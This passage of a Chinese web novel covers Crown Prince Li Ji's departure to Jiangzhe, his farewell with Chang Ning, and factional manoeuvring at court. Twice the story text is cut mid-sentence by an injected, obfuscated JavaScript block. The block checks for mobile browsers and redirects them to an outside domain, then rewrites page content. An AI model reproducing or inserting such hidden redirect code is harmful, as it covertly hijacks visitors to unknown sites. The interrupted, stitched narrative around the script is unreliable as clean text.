“俗话说，过犹不及嘛。俗话还说，独乐了不如众乐乐嘛。殿下，老祖宗可都说了，你饮酒时得带着我！” “知道了，”李稷随口应了一声，唇角微微翘起，“有福同享，有难同当嘛。” 常宁忙道：“使不得使不得，我这笨手笨脚的，到时候给殿下添麻烦就不好了。” 李稷微笑，“算不得麻烦。你家醒酒汤怎么熬的？滋味竟比宫中还好。” 常宁惊讶：“不可能吧？这醒酒汤不都一个味道。”拿过杯子，常宁又给李稷倒了一杯漉梨浆，“甜的，但不腻。” 今夜的李稷很古怪，分明笑着，却叫常宁心里发毛。到常宁困得直揉眼睛的时候，李稷还没走，“殿下，您不回去就寝吗？” 李稷：“今夜就在这边。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李稷笑道：“孤记得。那时在行宫，孤受了罚，没人敢过来。你也不知如何爬上了墙头，却下不来，急得流泪，又不敢哭出声。孤见了，问你做什么，你连话都说不清楚。好半晌，孤才听清了，你是看孤午膳没用几口就离席，来给孤送吃食。” “孤却看不到吃食在哪儿，一问方知，你走了一路，吃了一路，到孤这里，只剩下一水囊漉梨浆了。” 常宁嗓音难掩困意，又觉稀奇，“果然，大侠从小就是大侠，话都说不清楚就会爬墙！” 李稷轻笑：“你那是被吓的。那时你还叫孤表兄，后来许是被伯母掰正了，便不曾再叫过。等时机到了，孤便请父皇立你做伴读。” 这话回着费脑筋，常宁困顿的脑袋罢工了。 不多时，常宁迷迷蒙蒙之中又听到一道声音，像严先生念书那样，余音在耳朵里撞来撞去，让人恨不得把耳朵揪下来扔了，然后顺势倒在地上睡得天昏地暗！ 几乎是拼了小命，常宁才从海潮一般的困意中挤出来，总算听清楚一句话。 “……孤今夜见到你，很开怀。” 常宁挣扎道：“我、也是。我——困。” 李稷终于体恤人了一回：“睡吧。” 常宁无比激动。 夜深人静。 李稷：“今夜为什么等孤？” 常宁：“……想你了。再问绝交！” 45. 危机 李稷素来睡得少，到了要上朝的时分，不必人叫，已然睁眼。 因为在宫外，李稷醒得比往日还早。鼻尖淡淡的清香和耳边独属于另一人的清浅呼吸，叫李稷瞬时偏头去看常宁。 常宁还睡着，梦里唇角都是翘着的，素白里衣堆叠在手肘和膝盖上，露出白净的胳膊和小腿。 她的唇红润饱满如樱桃，安静睡着时更添几分乖巧，不如平日轻狂，不知这唇是否也如樱桃一般清甜。 李稷支颐看了一会儿，伸指点了点常宁唇瓣，惊人的细腻柔滑，轻叹道：“你怎就不是个姑娘家？” 常宁睡得不老实，抱着被角压在脑袋下蹭了蹭，嘟囔道：“再睡一会儿。” 李稷刚给常宁掖了被子，常宁便踢开，一骨碌滚到墙边，额头贴着冰凉的墙壁，“墙，你这么凉，真是堵好墙。” 李稷失笑，起身盥洗。暗卫已经送来了他的朝服，他便一件件熨整地穿在身上。 方才换了里衣，忽然传来叩门声，还有英国公夫妇亲切的询问：“宁宁，你外祖急信，今日你表哥便到京城了！快起来，我们早些用了早膳，到码头候你表哥。” 常宁睡得香甜，迷迷糊糊地，挥手道：“不嘛不嘛，我再睡会儿。爹，娘，你们吃去吧，我不吃早膳了。” “这孩子，”姜夫人一怔，无奈摇头，“给她留些点心吧。” 英国公不赞成：“我都要去上朝了，宁宁还睡呢？昨夜里可没人邀她出去玩，睡这么久，莫不是病了？” 此言一出，姜夫人也紧张起来。 李稷把昨日换下的旧衣塞进常宁衣柜，快速理好了朝服，附在常宁耳畔，嗓音清冽，“爹娘来了。” 来就来嘛，又不是没来过。 常宁觉得李稷未免太小题大做。 等等……李稷？ 常宁拥着被子，直挺挺坐起来，眼都瞪圆了。 姜夫人焦急：“宁宁，你莫不是病了？再不回话，娘就进来了。” 这下不用李稷提点，常宁脑袋转得飞快，连忙道：“娘，我没事，我就是懒。你们先去，我马上就找你们。” 听到常宁中气十足的答复，姜夫人一颗心放下了，扯着英国公往院外走，“这下可安心了？宁宁好着呢。” 英国公口中指责，神色却是宠溺的，“这孩子，人越大，脾性也越大，连爹娘都不怕了。” 衣袍摆动，英国公凝眸，“夫人，你给我绣的荷包落在宁宁那儿了，我去去就回。” 常宁来不及梳头发，捡起衣裳就往身上套，推李稷出门，“殿下，你去上朝吧。” 李稷有些冷淡：“这般不愿意见孤？” 常宁是服了这位殿下了，“我爹娘就在外面！” 李稷：“好友同塌而眠，又算什么稀奇事，要瞒着伯父伯母？孤去拜会便是。” 常宁有苦说不出。 这睡到一张床上，谁信他们俩是好朋友啊？ 但李稷显然认为旁人会深信不疑，常宁只好采取迂回策略，“咳，殿下，您别忘了您的来时路。您是翻墙来的！” 英国公寻思着，常宁这些天也累了，今日要多钓两条鱼给常宁和夫人煲汤。穿过月洞门，就见他家那宝贝疙瘩头发都没扎好，推着身旁高大英挺的男子，口中还念念有词：“你快走，别被我爹娘看到。” 英国公目眦欲裂，当下就要喊人捉了这贼人，转念一想里面是他家常宁，顺手抓了笤帚就唤道：“夫人速来！” 方一冲出去，那一身威严蟒袍的英挺之人便回过身来，露出一张英国公熟悉得不能再熟悉的脸，微微笑道：“国公别来无恙。” 英国公啪一下丢了笤帚跪地，跟来的姜夫人紧随其后。常宁决定和爹娘统一立场，也跟着去跪，悄声道：“爹，娘，误会误会。” 李稷平声唤他们起身，“孤夜宿方宾客府上，本是要入宫上朝，顺道来看看常宁。” 常宁抹泪：“呜呜，太感动了，殿下您无时无刻不念着臣，臣死而无憾！” 李稷额角一跳，眼看英国公方才陷入迷茫的神色又狐疑起来，找补道：“你这张嘴，迟早要惹来麻烦。” 英国公深有同感：“臣这孩子，就是爱说笑，殿下见谅。” 姜夫人笑道：“殿下可用膳了？可否赏脸在府上用膳？” 常宁使眼色让李稷赶紧走。 李稷道：“那便叨扰了。” 常宁发誓，她以后夜里再也不会留他了！ 因为家训，英国公府上一向不追求铺张浪费，贵俭由心，用得完便好。姜夫人吩咐嬷嬷，要让膳房多上几道菜，常宁道：“娘，咱们家怎么吃，殿下就怎么吃，殿下他很节俭的。” 英国公瞪常宁一眼。 常宁顺势闭嘴，看天看地。 待开了膳，常宁一直埋头用饭，席上三人谁都不敢看。看爹娘，常宁怕爹娘回头再收拾她。看李稷，常宁又怕她忍不住笑。 英国公却看不下去常宁当缩头乌龟，阴阳怪气道：“夫人，膳房往后不必采买鸡蛋了。” 姜夫人惊讶：“怎么了？” 英国公盯视常宁的头发：“咱家都有鸡窝头了！” 常宁咧嘴笑了，“爹，我这鸡窝头一次只能引过来一只鸡，你也把头发弄成鸡窝头吧，不然我娘没鸡蛋吃。” 等吃完饭，送走了李稷，常宁准备悄摸摸溜出去，不防被时刻紧盯着她的英国公发现了，顺手从花瓶里拔出一撮花枝，“小兔崽子，我打折你的腿！” 常宁听这句话都听腻了，毫不耽误她溜的速度，“爹，你骂我可以，别骂我娘和我祖父母啊！” 李稷做戏做全套，车马还在府外侯着，远远地见了常宁跑出来，便招手让她上车。 常宁累死了，靠在车壁上灌茶，“殿下，往后您可别再来了，我爹都快不要我了。” 李稷抿唇：“孤就不介意你来东宫。” 哈？ 常宁不可置信。这么说，还是她小气了？ “不说了，殿下，”常宁决定一笔带过，悄悄凑到李稷耳边，小声道，“我再给您说个新奇的事。” …… 勤政殿里，国师领着一群方士在大殿中跳祭舞，傩面如恶獠，银铃叮当作响。 朝中重臣已经看了好一会儿，如何也听不到庆和帝开口问政，急得额头冒汗。 庆和帝看着，忽然问:“国师，有没有让朕快些处理政务的法子？” 国师抱着拂尘，掐指一算，眸光清明：“陛下，事有轻重缓急，先急后缓，天之道也。陛下真龙天子，恩泽遍布四方，重事急事唯有以您的聪明才智才能处理妥当，轻事缓事则交由群臣和诸位殿下。君臣父子齐心协力，政事可速决矣。” 几位信重的大臣面面相觑，跪坐于殿下，紧张地握着茶盏，望 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打发了群臣离开，遣散了国师方士，庆和帝就近拾起一份奏折，一目十行地看完，冷笑一声，“什么东西，还想要朕出钱？” 柳公公忙道：“陛下息怒。凡夫俗子，不足为较。” 庆和帝并不做批示，将这份奏章扔远了，“分给中书省，非叫他们自个想法子不可。” 他又拿起一份，这次看得眉开眼笑，“还是朕的儿子体谅朕。润笔来！” 柳公公递上朱笔，庆和帝写下个龙飞凤舞的“准”字。 庆和帝将奏章推开，“看看，这是朕哪个儿子？” 柳公公凑近看，卷头写着一位御史的名字和上书年月，言如今国库空虚，群臣应当做表率，由富有者带头捐金银给朝廷，用于天下万民。 陛下膝下仅有三位皇子，柳公公笑道：“陛下抚养天下百姓，日月所照，无不是您的子民，无不是您的子女，这位大人自然也不例外。” 庆和帝也没指望他说什么，“这天下，如你这般嘴严的，才活得长久。管好你的徒子徒孙，朕保你颐养天年。” 柳公公道：“是。” …… 常宁好不容易才在爹娘面前糊弄过去。 英国公不放心，叮嘱书剑好好跟着常宁，又添了几个守夜的府卫，常宁近些日子都不敢往东宫去了，也不敢让李稷再来，整日不是写课业，就是看燕云台递来的奇闻异事。 搬了张小竹床，常宁就躺在葡萄架下看书。凉风习习，江湖上的事也有意思，偶尔再吃些点心瓜果，顺势眯一会儿，舒服极了。 英国公过来时，常宁正拿书盖着脸小憩。 书骤然被英国公抽走，常宁睁开眼，不经意间感慨：“哎呀，爹，这是怎么了？我这几天可没出去玩。” 英国公板着脸：“你去东宫走一趟。” 这绝对是试探吧？ 真是老奸巨猾！ 常宁立马表忠心：“在我心里，爹娘和我排第一，其他人都排第二。我在家陪爹娘就好，别的地方哪儿也不去！” 英国公缓缓摇头。 常宁被看得有些不安，“爹，有什么事你就说。” 英国公沉声道：“殿下要去江浙了。” 46. 辞别 江浙是个水很深的地方。 能种水稻，亦能植桑养蚕、缫丝织棉，天下最好的丝绸和棉布，必定绕不开江浙。每每海商来大魏，总要满载瓷器和丝绸而归，单是丝绸这一项，每年就有数十万两白银的进益，更别提繁荣港口处与外通商的好处。 除此之外，江浙盐业也十分发达，生产的海盐量大质美，又背靠贯通南北的大运河，整个江浙繁盛非常，还出过许多大才子。 江浙作为朝廷赋税重地，已经有许多年头了。北方边境的战火波及不到江浙，且大魏已经很久都没有打过大仗了。从庆和帝登基前至今，二十余年，江浙人口增长迅速，但上交的赋税十分平稳，近两年甚至有下跌趋势。 常宁外祖家就在江浙，生意做得不算顶大，但也算得上一方富商大贾，对江浙有些了解。 在江浙，只是打点各类关系，就要花去富商许多钱财。而富商要在江浙立足，背后也多有官员暗中坐镇。 在常宁看来，若是上交的赋税和账簿连朝廷都能蒙骗，江浙富商与官员同气连枝，实在是个危险的地方。 何况京城高官也会暗中在江浙置产，李稷此去，腹背受敌。 等常宁火急火燎赶到码头上，天已经擦黑了，江水黑沉沉的，火把在江岸上绵延数里，几艘高大的铁甲船伫立在江中，士兵上上下下。 这么多人，常宁根本就找不到李稷，一直往人多的地方张望，却寻不到李稷的踪影，就守在最大的那艘船旁边。 这般不知等了多久，终于等到了远处被群臣簇拥着前来的人。 十来个臣子，或是白发苍苍，或是人到中年，年轻臣子里也短了李稷几分气度和容色，但站在一起，依旧很亮眼，隐隐能看出几分风骨，衬得李稷愈发众星捧月、鹤立鸡群。 人看着多，但比起平常宫宴朝会时围在李稷身边的人，还是少了许多。如今送行的臣子，有些是常宁在东宫时常见的，有些是李稷常提起的，还有些很陌生，没见过也没听人提过。 常宁不去想那些不来相送的熟面孔究竟是为避难还是为掩藏实力，只是盯着李稷看。 远处，太傅抬头给李稷整了整冠带，又重新系了披风，不知说了些什么，退后几步，群臣拱手作揖，李稷便缓步朝铁甲船来了。 离得这般远，李稷依旧能一眼就从人群里认出那个略有些清瘦的少年人，看着常宁背着个大包袱直挺挺站在两边，无声笑了笑。 父皇求仙问道，母后端坐中宫，胞弟沉溺于声色美味，李稷也未曾料到，除了群臣和在城楼上看他热闹的二弟，唯一来送他的人，居然是常宁。 到近前时，常宁还能看到李稷盔甲上折射的冷光。 李稷道：“风大，且到船上说吧。” 常宁有许多话想问，李稷道：“至多一刻钟就要发船。” “你好好保重，”常宁还是没忍住红了眼，“你去江浙都不告诉我，你都不想见我。” 一刻钟就要发船，若不是英国公催常宁来见，常宁再得知李稷消息，李稷早就在茫茫江面上浮沉了。 “笨，”李稷道，“见了你，孤就走不了了。” 常宁逼回泪意，“我也去。” 李稷有一瞬可耻地心动了，但也只是一瞬，便压下了这个念头，负手迎着江风，示意常宁去看几艘大船上的将士，“孤有羽林军千余人。” 常宁眺望，看到许多肃穆威严的士兵，江面都被他们的火把映照得波光粼粼，怀里冷不丁便被扔了柄重剑，“这是什么？” 李稷笑道：“尚方宝剑。” 常宁被转移了注意力，盯着这把剑细看，摸到繁复庄严的纹路。她滑出几寸剑身，剑刃锋锐无比，顿时失望，“和寻常宝剑也没什么不同嘛。” “是，”李稷伸手，将常宁额角散落的发丝别至耳后，“父皇说它是尚方宝剑，它就是尚方宝剑，破铜烂铁与神兵利器尽皆如此。”他忽然偏头，凑近常宁耳畔，低声道，“待往后，孤也赐你这样一把剑。” “殿下，”常宁扯了扯自己肩上的包袱带，“您让我也跟着去吧。” 英国公回来后便告知了常宁，今日朝会上有臣子提议富有官员捐赠钱粮，用来建造接仙台和赈济灾民。英国公府巨富，自然首当其冲。二皇子开口便是三百万两白银，抵得上朝廷半年的赋税，就是把整个府上的产业和器具都变卖了，他们也凑不出这么多银子。 外祖父倒是也能变卖家产接济他们，可爹娘也不敢借。若真拿了出来，英国公府富可敌国，庆和帝又岂会再留他们？ 英国公都准备好交割财产辞官回家了，李稷却站出来抨击二皇子，指责他这是败坏君父名声的奸计。 朝堂上争了有近半个时辰，英国公没时间尽数讲给常宁听。但庆和帝要钱、朝廷缺钱，却是铁上钉钉的事实。即便是拆东墙补西墙，也要将这个亏空补上。给不出银子，就算再有理，庆和帝也不会站在李稷这边。 一向问题甚大的江浙便被扯上了明面，李稷自请到江浙排查赋税，与巡盐御史一起督导江浙的盐业。 常宁握住李稷的手，“殿下，我外祖就在江浙，我少时也常到江浙去，您便准我一同去，可好？” 李稷微笑：“宁宁，孤今日此举，是为你，但不只是为你。孤的家国、孤的子民，孤不能坐视不理。” 常宁努力憋回泪水，“是不是我查了二皇子的把柄，你才不得不下江浙？” “是，也不是，”李稷道，“你做得很好，远比孤想象中的还要好。孤不会折在江浙。此时不出手，只是另有图谋。” 常宁坚持道：“我还是想去。” 李稷引着常宁，一前一后进了船舱，凤目直视常宁，“你待在京城，孤便有个念头，总会回来的。若你在江浙出意外，孤便有国无家，自会追你而去。” 常宁只好把包袱抖开，露出满堆的金银财宝，还有一盒地契银票，“我有很多钱。你要是查什么，就去找燕云台的人。” 李稷道：“你拿回去吧。” 他这一路不会缺钱。 常宁：“殿下，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611096|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太感动了！这年头，像殿下你这么不为金银所动的人太少了！殿下高风亮节，善解人意，还这么仁爱，能和殿下在一起，真是件叫人开心的事！” 李稷笑了，“彼此彼此，你这样笑得比哭还难看的人也很少见了。” 侍卫进来请示：“殿下，宫里来的几位公公问您，什么时候出发？” “等孤号令，”李稷说完，转向常宁，拧眉看了一小会儿，启唇道，“若是孤没能回来……” 常宁立马接道：“我懂的我懂的，伤心一会儿就不能伤心了，日子该过还得过，得快点忘掉殿下您……” 李稷：“……罢了。你在京中遇到麻烦，就去找太傅和方俞周，孤已经打过招呼了。其余的，等孤回来再同你清算。” “好吧，那我只能等你回来了。珍重啊殿下！” 常宁下船，站在岸边，看着船只一艘艘离去，顺着江岸往南走了一会儿，远离了嘈杂的人声，放下包袱托腮去看水面上渐行渐远的火光。 他这次要去多久？几旬，还是几个月？ 江风吹低了草尖，公孙瑾的声音从背后传来，“宵禁了。” 常宁摸出来一块金子，“我交钱。” 公孙瑾：“果真人傻钱多。” “不要算了，我还不想交呢，”常宁极目远眺，江面上最后那点光亮也消失不见，颇为失落，“这就是树倒猢狲散吗？” 平常有许多讨好李稷的人，为在李稷面前露面争得头破血流。如今李稷被迫到江浙去，京城的二皇子一家独大，朝廷势力此消彼长，只怕他们还庆幸上船晚，哪里又会来送行。 “还好，起码没有落井下石，”公孙瑾声音很平淡，“但也快了。” 常宁问：“你什么时候去西北？” 公孙瑾：“殿下回京之后。” 常宁叹气，“也不知道殿下什么时候回来。” “但殿下说，他要送我一把剑！” 常宁是很憧憬的。若是能提着尚方宝剑到江湖上去，谁还敢跟她拔剑啊？侍玉也得乖乖认输！ “不过殿下能平安归来就好，剑不剑的，无所谓了，我又不喜欢杀人。” 这么说了一会儿，常宁才发觉一直都是她在一言一语，遂问公孙瑾，“你怎么不说话了？” 对上常宁清亮的桃花眸，公孙瑾道：“你不要离他这么近，会变得不幸。” 常宁皱眉：“殿下人很好的。” 公孙瑾移开视线：“就当我没说吧。” 常宁举目四顾，码头上为李稷下江浙做准备的官差已经收拾好了场地，走得差不多了，四下静悄悄的，小声问，“你不中意殿下吗？” 公孙瑾摇头：“自然中意，但和你的中意不一样。” 总之，两种中意的滋味，他都尝过就是了。 殿下确实是个值得追随的人，但并不如表面这般磊落。从某种程度上说，公孙瑾和殿下一样。 公孙瑾看向常宁，很轻地笑了笑。 他们都在等待一击毙命的机会。 47. 暗流 李稷不在京城，方俞周等人的策略转换为守势，尽量保留自身实力，留意京城异动，为李稷打造出一个稳定的后方。 三皇子懒怠，太子远走江浙。到达江浙前两天，便有江浙官员递上罪证，畏罪自杀。 这些自杀的官员，恐怕也并非自愿。 在常宁看来，这无疑是一步臭棋。下江浙这件事，从早朝开始吵，午时庆和帝下了圣旨，天不黑人就在码头集结，亥时前就连夜发船赶路了，实在是迅速至极，为的就是打一个措手不及。 可江浙从接到消息再到商量出对策，推出替罪羊自杀，反应实在是太快了。也正是因快，才生了乱，空缺出的江浙官员，完全可以由先得到消息的太子一系举荐人才过去，或是帮助李稷查案，或是在李稷走后经营江浙。 但这也从侧面反映出江浙的态度。 常宁猜，江浙应当是想息事宁人，给出个差强人意的解释，暗中让利李稷，适当补上亏空，既能让李稷完成任务早早归京，也给江浙留下更多操作空间。 如果李稷止步于此，那么此次江浙之行最多有惊无险。 王老大人伸手在常宁眼前挥一挥，“怎么发呆了？” 常宁道：“我在想殿下。” 王老大人笑得开怀：“稷儿总算有了个知心的朋友。” 常宁很好奇：“殿下他不交朋友吗？” 追忆往事，王老大人略感怅惘，“我从没见他和谁这么要好过。” 正当此时，门房带着一个面蓄短须的中年人进来。 “父亲。” 王尚书朝服未换，笑着看向王老大人。 王老大人懒得看他，“做什么？” 王尚书道：“请您这位小友先回避一二。” 常宁就要站起来，却被王老大人按下，“不让他听，我便不听。慢走不送。” 王尚书笑笑，“罢了，他听了也无妨。父亲，近日太子殿下在朝中备受冷落，陛下也甚是嫌恶。娘娘的意思，三皇子殿下素来受陛下宠爱，虽年龄尚小，但天资聪颖，未必不能与二皇子抗衡。” 常宁垂眼静静听着，满心凄寒愤懑。 连毫无血缘的朝臣都能为了李稷肝脑涂地，娘娘与尚书本该与李稷同气连枝，然而如今二皇子都还不敢急切地对李稷一派下手，李稷的舅父与生母却已经动了换人的念头。 “你糊涂啊，”王老大人叹气，“我不能这么做。” 王尚书笑道：“父亲，您不出手就行。” 临走前，他道：“三殿下也与您血脉相连。” 树荫下只剩常宁和王老大人。王尚书来去匆匆，不过几句话的功夫，便走远了。 王老大人感慨：“我说他糊涂，他总不信。我是他爹，我也嫌恶他，可再嫌恶，也没想过任由旁人欺凌他去。他怎就这般糊涂，笃定了陛下和娘娘不会怜爱稷儿呢？” 常宁亦不知如何形容这滋味，“可要我做些什么？” “不必，”王老大人很放心，“稷儿有成算，早就同我提过这事了。倒是你，怎么这么护着稷儿？” 常宁笑笑，耸肩道：“大概是因为他不收我的钱吧。” 从常宁记事起，爹娘每年都会按照品阶给这些皇亲国戚送礼。有些是走个过场，有些是不得不给，譬如陛下和几位皇子。陛下的贪得无厌，常宁一直都知道，甚至常宁觉得，陛下的私库兴许比国库还宽裕得多。三皇子懒怠，又好面子，一般不会再要第二次。二皇子要的更频繁些，也更多些。 国难当头，先抄富商巨贾的家，再抄贪官污吏的家，爹娘早就同常宁讲过的，叫她切不可意气用事。但本朝又有所不同，国难未至，搜刮钱财风气愈演愈烈，全凭陛下和皇子们的私欲。 这么多年里，只有李稷始终如一，没有伸手向下要钱，纵使过得简朴，也会贴补钱财救济灾民。 王老大人笑眯眯点头：“朝里还是有许多聪明人的。莫看现在不显，等真显露的时候，也就没有转圜的余地了。” 常宁又听他讲了会儿军旅中的事，便起身告辞了。 出门时，天色还早，风里已经带了初秋微凉的气息，不复夏日闷热。 孟学洲邀常宁下午到他府上一聚。常宁带着书剑过去时，孟尚书还在官署当值，遂就放心地进去了。 方才走在花间小径上，孟学洲就迎了过来。 常宁语速飞快，环顾四周：“你爹什么时候回来？” 孟尚书不喜欢常宁，常宁感觉得出来，平时没事是不会到孟府的。 兴许是怕她这日日吃喝玩乐的散漫人带坏孟学洲吧。 孟学洲失笑：“我父亲近日都有得忙，我们用完晚膳，他也不见得能回来。” “我回家吃饭，”常宁跟着孟学洲走，“你的琴也不错，为什么不自己教你妹妹？请个先生也行啊。” 孟学洲苦笑：“我家状况复杂，父亲不喜我妹妹，我不好为她请先生。至于琴艺，你可比我好得多。” 他并不擅长琴艺。他们这些同窗，几乎各个都有自己擅长的地方，各领风骚。但要说起稳定，还得是常宁。无论御书房进了多少新人，常宁在各道上都稳稳排第二。 比起第一兴许有差距，但比起下面的人，还是要好得多。 常宁暗戳戳感慨，怪不得孟尚书不喜欢她，原来他连自己的女儿都不喜欢。 可怜的孟学洲，想必和他妹妹一样，在孟尚书的高压之下可怜兮兮，出了门还得强颜欢笑。 孟学洲被常宁古怪的眼神看的不自在，引着常宁到广亭里，“麻烦你了。” 孟娴弹了一段，常宁在旁边听着，当下便听出几个调子，又给讲解了指法。 孟学洲也在一旁，微微笑着看他们二人谈话。 常宁听得出来，孟娴从前学过琴，只是太久不碰，生疏了许多。她虽记错了些调子，但弹起来依旧让常宁眼前一亮。 “我弹一遍。” 孟娴将位子让给常宁。常宁拨了拨琴弦试音，修长白净的手指从琴弦上拂过，琴音宛如亭外青碧色的池水缓缓流过，时而平缓柔和潺潺不尽，时而如闻大浪涛涛。闭目静听，只觉心情舒畅，轻松自在。 孟学洲笑道：“你也生疏了。” 常宁示意孟娴继续，“生疏就生疏嘛，开心就好。” 孟学洲还要开 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孟娴垂首：“我家情况复杂，哥哥和父亲都不是很喜欢我。” “怎么会？”常宁真是好奇孟尚书家的弯弯绕绕，怎么兄妹两人都压抑至此，“洲洲有什么都藏在心里，想了十分的事也只显露出一分来。这些天，我倒是见他到处为你奔波。有次他醉酒，还和我说弄丢了你常念叨着要的华胜，险些就哭了呢。” 孟娴烦闷：“没一点男子气概。” 她当时是趁哥哥跪祠堂给一脚踢飞了，但谁能想到他会这样？丢死人了，还不如常公子给她做哥哥。 孟娴补充道：“丢了总会找到的。” 远远地望见孟学洲，常宁连忙告别，“我走了。” 孟学洲挽留：“忙了这么久，留下来用饭吧。” 常宁干笑：“我爹娘等着我。” 她一路都走得很快，生怕撞见提前回家的孟尚书。孟尚书可不比严先生，严先生骂得很，起码是真心爱护常宁。至于孟尚书？骂了和骂了一样，没一点营养。 书剑守在马车旁边，挥手笑得灿烂，“少爷，有信！” 常宁入手，只觉薄得惊人，恐怕只有一张纸，顺口和书剑念叨，“不会是送信的送错人了吧？我哪里交过这么懒这么笨的朋友，连自己名字都不知道写。” 岂止啊，信封正反面都空白一片，没有收信人，没有寄信人，也没有日期。 书剑抬首挺胸：“不会错的，少爷。我可机灵了，当时就问了好多遍，再三确认，这就是给少爷你的信！” 常宁叹气：“好了，藏头藏尾的，那就是有人要骂我了。” 她把漆封刮开，决定狠狠骂回去。 连一页纸都骂不满的口拙之辈，常宁必须骂赢！ 一整张纸抖开，常宁不可置信地翻着。 居然只写了一列！ 这得多不会说话啊？常宁都不忍心骂回去了。 “孤于江面浮沉，忆汝，甚悦。” 常宁沉默。 这好像确实不能骂。 但她都不知道他在哪儿，怎么给他回信啊？ 48. 试论 浓云密布，风声疏疏，窗外青竹丛生，上了年头的竹帘子高高卷起。矮榻上，方俞周垂眸泡茶，清淡的茶香溢出，常宁深深地吸了一口。 对面是个青袍官员，生得沉稳，此刻满面正色：“方大人，如今情势危急，太子殿下已经斩了两名江浙大员，一时半会儿怕是回不来。” “罪员家属已经上京申冤了。您要我等退避二皇子，二皇子如今又深得圣宠，有他在背后推波助澜，殿下危矣！” 方俞周静静品茶，脸上惯常是和善的笑，“哦？你可有对策？” 青袍官员义正言辞：“三殿下与太子殿下一母同胞、同气连枝。殿下不在京城，照比二皇子，自然是三殿下同我们亲近得多。况且三殿下品性纯善，定然不会对殿下出手。我等暂时转投三殿下，借三殿下的势牵制二皇子，待殿下从江浙回来，我等就算不负使命，皆是再辞别三殿下归来。” 常宁本是在一旁写课业，听了他的话，抬头看他一眼。 闷雷滚滚，天暗了下来，雨滴渐渐落下。小童端着烛火进来，将昏暗的室内照亮了些。 即便是常宁，也能看出他眼底深埋的野心。 方俞周语气有些沉：“子望，一人不侍二主。你可知，你此去，不止三皇子猜疑你，待日后殿下回京，诸同僚恐怕也对你颇有微辞。” “下官明白，”青袍官员起身作揖，“为了殿下，我等甘愿如此。” 方俞周目露错愕，忙上前托起他，“你可想好了？” 青袍官员道：“下官心如磐石。” 方俞周轻拍他肩膀，“受苦了。子望，你之提议，确然不错。其余人若要去，便由你来联系，等明日报到我这里，我请太傅为你们引荐三殿下。” 有太傅引荐，事情要顺利得多。青袍官员郑重拜了拜，又描述了许久的宏伟蓝图，这才辞别。 人一走，方俞周就懒得笑了。 常宁埋头书案，听到外面噼噼啪啪的雨声，遂搁笔将竹帘放了下来，阻隔潮湿的水汽。 方俞周从思绪中回神，方见常宁一派凝神静气，笑问：“你不忧心么？” 常宁也回以一笑：“久闻殿下治下严谨，这些人能进来，想必各有过人之处。即便是鱼目混珠，一时也难以区分。如今患难，见一见真情，不算坏事。” “何况三皇子入局，也算给殿下分担压力，我们也好养精蓄锐。” 方俞周道：“福祸相依，历来皆是如此，总归不出殿下所料。你在写什么？” 常宁展卷：“策论。严先生留的。” 方俞周无奈，接过来看，“往常竟没看出来，你这般沉得住气。” 常宁笑笑：“那当然了。” 方俞周也乐意和年轻人待在一起，总能沾染几分朝气，看着便赏心悦目。他将烛台拿近了些，仔细去看策论，笑意渐消，愈发凝重。 雨潇潇，偶有水雾从帘缝中挤进来。方俞周恍然不觉，叹道：“好策论！” 常宁扬唇笑：“我也觉得。严先生要给我评甲！” 方俞周拈须，颔首：“确然！” 常宁弯眸问：“比之《天人赋》、《原天》，如何？” 陛下沉迷求仙问道，不少士子做策论，寄希望于上达天听。这两篇策论是近些日子流传最广、呼声最高的，太学门口还时常有儒者开坛布道，援引这两篇策论。 方俞周笑道：“所言并非一事。属文比事稍弱，但从巧思和深意上来看，有过之而无不及。” 常宁唇角压不下来，“哪里哪里。” 从方俞周府上出来，常宁绕道京兆尹衙门，果然见门外还围着许多外地口音的人，各个都守在衙门外，一遍遍地哭诉冤屈。 太子到江浙后，江浙平稳了几天，宴饮不断。按浙直总督的计划，太子无异于接受了他们的妥协政策，警惕之余，稍稍让利试探。 然而翌日，几位重臣便命丧尚方宝剑下。 虽则代天子巡查有先斩后奏的权力，但这件事着实闹得大，江浙官场人心惶惶。这些在京兆尹衙门外喊冤的老幼妇孺，便是几位丧命大臣的家眷。 常宁看过一眼就不再看了。这些人能在短短时间内聚集、结伴上京、一同诉冤，背后必定有人组织。 …… 宫里，庆和帝端坐在御案后，折子散乱地洒了一地。柳公公指挥人按照距离远近下发给朝臣。 跨出殿门时，正撞上太傅，提醒道：“大人小心脚下。” 太傅点头，望见了殿内的荒唐，眸光从庆和帝身上一晃而过，跪地顿首，“老臣拜见陛下。” “起来吧，”庆和帝虚虚抬手，“朕已经许久未曾听过太傅授课了，想念得紧。太傅今日要授什么课？” 太傅从袖袋里抽出《左传》，嗓音沉稳，“卫州吁之乱。” 柳公公听了这个头，心下便觉不妙，“陛下，是否要换……” 州吁乃是卫庄公嬖人之子，有宠而好兵，卫庄公十分纵容。石碏进言，应当去逆效顺，抑制州吁野心，确保嫡子的地位。 卫庄公一如往常。卫庄公死后，卫桓公即位，州吁弑君而立，其后又被卫人诛杀。 庆和帝支颐静听。太傅的腔调和殿中的熏香总将他带到少年时，那时他便也是这样听着太傅授课。 不等太傅发问，庆和帝率先笑道:“太傅，朕还记得你头一回给朕授课的情形。那时你给朕讲的是《孟子》，你说朕的威仪无人可以冒犯。” 殿中一静，柳公公揣度着何时开口为太傅开脱。 太傅却老目一湿，哽咽道：“陛下天资聪颖，许多年过去，竟还记得这般清楚。仁者无敌，老臣给先帝授课时，也是这样讲的。” 